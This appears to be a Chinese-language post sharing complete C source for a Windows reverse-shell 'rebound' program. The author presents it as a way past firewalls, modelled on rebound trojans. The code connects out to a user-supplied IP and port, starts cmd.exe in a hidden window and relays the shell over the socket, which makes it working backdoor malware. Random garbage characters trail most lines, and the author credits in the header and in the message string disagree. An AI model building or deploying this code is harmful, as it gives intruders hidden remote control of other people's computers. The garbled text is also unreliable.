这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== wA5Iz{uQO
Rebound port in Windows NT w-K A~
By wind,2006/7 eFiG:LS7
===============================*/ X:i?gRy"
#include cW%)C.M
#include wH~A>
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#pragma comment(lib,"wsock32.lib") 7Eyi~jes
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void OutputShell(); )>ZT{eF
SOCKET sClient; n41#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $g>bp<9v4
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void main(int argc,char **argv) DTezG':
{ ~+\=X`y
WSADATA stWsaData; H$I~Vz[\yb
int nRet; r2RJb6
SOCKADDR_IN stSaiClient,stSaiServer; +f/
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if(argc != 3) IBa0O|*6
{ MLd;UHU
printf("Useage:\n\rRebound DestIP DestPort\n"); \IL)~5d
return; |S8$NI2
} FyEKqYl
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WSAStartup(MAKEWORD(2,2),&stWsaData); /b,>fK^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IWo'{pk
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stSaiClient.sin_family = AF_INET; 'h$1
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stSaiClient.sin_port = htons(0); ljbAfd
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1V2]@VQF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w9|x{B
{ c+FTt(\8.
printf("Bind Socket Failed!\n"); ai<qK3!O
return; HYdM1s6vo
} sQgz}0_=)
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stSaiServer.sin_family = AF_INET; kK75 (x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YoKE=ln7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }c8nn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xT>9ZZcE
{ y.Z_\@
printf("Connect Error!"); GN_L"|#)=
return; cW*v))@2
} B{/og*xd*1
OutputShell(); `4K|L6
} ,V1"Typ#<
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void OutputShell() bSe\d~{
{ w+6P x#
char szBuff[1024]; }.g5zy
SECURITY_ATTRIBUTES stSecurityAttributes; $`lWW6>P
OSVERSIONINFO stOsversionInfo; W` x.qumN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,7wYa&
STARTUPINFO stStartupInfo; p$,G`'l
char *szShell; }# s{."
PROCESS_INFORMATION stProcessInformation; Rw'}>?k]
unsigned long lBytesRead; i|{psA
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [63\2{_^v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HGYTh"R
stSecurityAttributes.lpSecurityDescriptor = 0; 4M&$wi
stSecurityAttributes.bInheritHandle = TRUE; a#]V|1*O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?>;b,^4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C+'-TLeu
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "6d0j)YO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nXn@|J&z~U
stStartupInfo.wShowWindow = SW_HIDE; 3(oMASf
stStartupInfo.hStdInput = hReadPipe; AFi_P\X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i(%2t(wf+
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GetVersionEx(&stOsversionInfo); g|Lbe4?
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switch(stOsversionInfo.dwPlatformId) *)RKU),3nL
{ >N#Nz
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case 1: {@2+oOuYfN
szShell = "command.com"; MFROAVPZ5
break; #e@NV4q
default: #QFz /6
szShell = "cmd.exe"; _;3,
break; pFH.beY
} e%e.|+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {^1O
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send(sClient,szMsg,77,0); bD{tsxm[9
while(1) q0}u%Yz
{ b>ZAkz)U+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) w1I07 (
{ FO/cEu
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z%E(o%l8
send(sClient,szBuff,lBytesRead,0); Tw';;euw
} ZbC$Fk,,I&
else lG-B)
F
{ <}lah%4F
lBytesRead=recv(sClient,szBuff,1024,0); [2,D] e
if(lBytesRead<=0) break; I/w;4!+)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {ENd]@N*
} D _dv8
} Z7bJ<TpZ
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return; 85!]NF
}